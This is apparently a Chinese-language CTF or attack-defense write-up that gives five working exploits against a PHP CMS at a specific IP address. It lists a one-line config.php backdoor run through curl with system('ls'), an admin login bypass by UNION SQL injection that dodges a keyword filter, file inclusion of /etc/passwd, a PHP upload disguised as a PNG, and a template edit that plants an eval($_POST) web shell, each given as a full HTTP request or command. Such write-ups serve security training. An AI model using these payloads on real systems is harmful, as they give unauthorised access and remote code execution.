6_yunnan_2

by Hence Zhang@Lancet

一句话后门

漏洞位置：includes/config.php

payload:

curl http://47.105.121.116:9090/includes/config.php?d=assert —data "c=system('ls')"

后台sql注入导致任意登录

漏洞位置：admin/login.php

思路： union注入使得查询出的密码与提供的密码一致

payload：

```
POST /admin/login.php?action=ck_login HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 145
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
stylesheet=ayti; PHPSESSID=uobmo352bahrjkmkqmvnlnspu3
Connection: close

user=admin1' uni union on selselectect
1,2,'e618f5dd757c5575af2a995a5c9e7b95',4,0#&password=haozi&code=d479&submit
=true&submit.x=28&submit.y=35
```

文件包含漏洞

漏洞文件位置：admin/admin.php

Payload: /admin/admin.php?file=/etc/passwd （需要登录管理员账号）

后台文件上传导致getshell

漏洞文件位置：admin/upload.php

Payload: (需要登录管理员账号)

```
POST /admin/upload.php HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 195
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarym3oBOAiRhgSccYAv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: PHPSESSID=uobmo352bahrjkmkqmvnlnspu3
Connection: close

------WebKitFormBoundarym3oBOAiRhgSccYAv
Content-Disposition: form-data; name="up"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundarym3oBOAiRhgSccYAv--
```

后台模板文件编辑导致getshell

漏洞文件位置：admin/upload.php

Payload: (需要登录管理员账号)

```
POST /admin/admin_template.php?action=save_template HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 58
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
PHPSESSID=ujg0tpds1u9d23b969f2duj5c7; stylesheet=ayti
Connection: close

file=index.php&template=<?php eval($_POST['haozigege']);?>
```